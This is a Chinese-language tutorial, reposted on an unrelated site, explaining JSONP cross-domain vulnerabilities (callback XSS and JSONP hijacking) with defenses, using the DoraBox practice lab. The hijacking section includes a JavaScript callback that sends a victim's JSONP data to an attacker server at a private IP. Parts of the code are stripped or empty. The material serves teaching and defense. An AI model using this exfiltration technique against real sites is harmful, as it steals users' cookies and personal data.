JSONP跨域访问漏洞

您所在的位置:网站首页 跨域导致cookie写入失败 JSONP跨域访问漏洞

JSONP跨域访问漏洞

2023-06-14 06:07| 来源: 网络整理| 查看: 265

JSONP跨域访问漏洞

文章目录 JSONP跨域访问漏洞一、漏洞原理二、callback参数自定义引起的XSS1.漏洞利用2.防御 三、JSONP劫持1.漏洞利用2.防御

一、漏洞原理

SONP跨域漏洞主要是Callback用户可控导致的XSS和JSONP劫持两种类型

JSONP劫持,实质上算是一种读取型的CSRF,在恶意的网页中构造恶意的JS代码,当合法用户点击该网页,由于目标站点存在JSONP劫持漏洞的接口,因此会将用户的该接口对应的信息劫持,并将其发送到攻击者的服务器。

二、callback参数自定义引起的XSS 1.漏洞利用

构造如下页面,创建恶意链接诱使用户点击,即可获取用户的信息

function test(args) { // 调用stringfy方法,将JSON对象转换为字符串 alert(JSON.stringify(args)); } // %2B为+ %26为&

模拟用户访问,成功将cookie和url地址添加到数据库

image-20230501235323366

2.防御

过滤callback函数名称和内容

设置白名单,提前沟通好允许传输的内容

严格按照JSON格式标准输出,添加header (“Content-Type:application/json”)

三、JSONP劫持

通过对callback的过滤,无法利用跨域访问漏洞实现xss攻击,但还存在JSONP漏洞

1.漏洞利用

以DoraBox靶场的jsonp模块为例

在攻击者服务器192.168.30.104上创建jsonpuse.html(发送恶意请求)和jsonpuse.php(接收用户信息)

jsonpuse.html

JSONP // 获取数据发送到攻击者服务器 function callBack(args) { location.href="http://192.168.30.104/jsonprecv.php?value=" + JSON.stringify(args) + "&referer=" + document.referer; } // 访问有jsonp漏洞的服务器

jsonprecv.php



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3